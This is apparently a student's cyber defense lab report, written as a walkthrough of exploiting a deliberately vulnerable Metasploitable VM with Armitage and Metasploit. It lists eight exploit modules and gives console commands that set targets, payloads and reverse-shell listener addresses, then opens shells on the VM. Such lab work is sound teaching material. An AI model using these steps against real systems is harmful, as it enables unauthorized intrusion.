
CS– 6055 Cyber Defense Overview 

LAB – 2 

Objective: 
Report all suspicious findings in a list. 

Solution: 
Step-1: The following commands are typed in terminal to open Armitage: 

sudo /etc/init.d/postgresql start (to start the database server that is used by metasploid) 

sudo armitage (to open armitage) 

Step-2: We will perform nmap scan to detect the Operating Systems. We need to give the IP address 
details of the OS that we want to attack. 

The IP address details of Metasploitable OS is in the screenshot below: 

  

IP address of Metasploitable is 192.168.220.101. 

IP address of kali linux is 192.168.220.102. 

Step-3: After the nmap is done the OS will be detected and will be visible in the Armitage. After that we 
need to go to attacks and we need to select find attacks. We can also scan all the 65536 ports by using 
the command: 



nmap -sV -p 1-65535 <IP-address> (in my case the IP address is 192.168.220.101) 

Step-4: The Armitage GUI will find all the attacks. Now when we right click on the attacks we can see all 
the available attacks. Then from there we need to find all the vulnerabilities. 

Step-5: After using hail mary, I found out some vulnerabilities. I found some other vulnerabilities by trial 
and error. The list of the exploits I found are: 

1. exploit/unix/irc/unreal_ircd_3281_backdoor 

2. exploit/unix/ftp/vstfpd_234_backdoor 

3. exploit/multi/http/php_cgi_arg_injection 

4. exploit/linux/misc/drb_remote_codexec 

5. exploit/multi/samba/usermap_script 

6. exploit/misc/distcc_exec 

7. exploit/multi/misc/java_rmi_server 

8. exploit/linux/postgres/postgres_payload 

Step-6: Now we need to launch all these attacks. We need to check the box which says “use a reverse 
connection”. After we launch the attack we can view the progress and results in the bottom window. 

1) The first vulnerability is:  exploit/unix/irc/unreal_ircd_3281_backdoor 

After we launch the first exploit we get the window as shown in the screenshot: 

 



After the launch of the exploit is done command shell session will be opened if the attack is vulnerable. 
From the shell we can exploit the metasploitable OS. The shell 1 is opened for this exploit. The 
screenshot for this shell is shown below: 

  

We need to do the same process as above for all the exploits. 

The commands used in the shell will give the details of Metasploitable OS. The commands used are: 

hostname - It gives the name of the host you are connected to; in this case the host is metasploitable. 

whoami – Print the username associated with the current effective user ID. 

cd / - It changes the directory. 

ls – It gives the list of all the files. 

I used these basic commands to show that I am able to get into the metasploitable OS with this process. 

 

 

 

 

 

 



2) The second vulnerability is: exploit/unix/ftp/vstfpd_234_backdoor. The screenshot for the 
launch of this attack is: 

 

The shell for this vulnerability is: 

 



3) The third vulnerability is: exploit/multi/http/php_cgi_arg_injection. To launch this vulnerability 
we need to use the console and type the commands manually. The commands used for this are: 

use exploit/multi/http/php_cgi_arg_injection (to open the exploit) 

set RHOST 192.168.220.101 (to set the RHOST to the IP address of metasploitable) 

set PAYLOAD php/meterpreter/bind_tcp (The PAYLOAD is set to the specified path) 

exploit (to launch the attack) 

The screenshot for all these commands and its results are inserted below: 

 

 

 

 

 

 

 

 



The meterpreter for this vulnerability is: 

 

 

 

 

4) The fourth vulnerability is: exploit/linux/misc/drb_remote_codexec. This vulnerability must be 
executed manually. The commands for launching this vulnerability are: 

use exploit/linux/misc/drb_remote_codeexec (to open the exploit) 

set URI druby://192.168.220.101:8787 (the URI is set to the victim’s IP address and the port used is 
8787) 

set payload cmd/unix/reverse (the payload is set to this path) 

set LHOST 192.168.220.102 (set the LHOST to the attacker’s IP address) 

set LPORT 8080 (the Local port is set to 8080) 

exploit (used to launch the attack) 

 



The screenshot for the launch of this attack is: 

 

The shell for this vulnerability is: 

 



5) The fifth vulnerability is: exploit/multi/samba/usermap_script. After launching the exploit 

screenshot is: 

 

The shell for this vulnerability is: 

 



6) The sixth vulnerability is: exploit/misc/distcc_exec. After launching the exploit, the screenshot is: 

 

The shell for this vulnerability is: 

 



7) The seventh vulnerability is: exploit/multi/misc/java_rmi_server. After launching the exploit, the 

screenshot for this is: 

 

The shell for this vulnerability is: 

 



8) The eighth vulnerability is: exploit/linux/postgres/postgres_payload. After launching the exploit, 

the screenshot for this is: 

 

The shell for this vulnerability is: 
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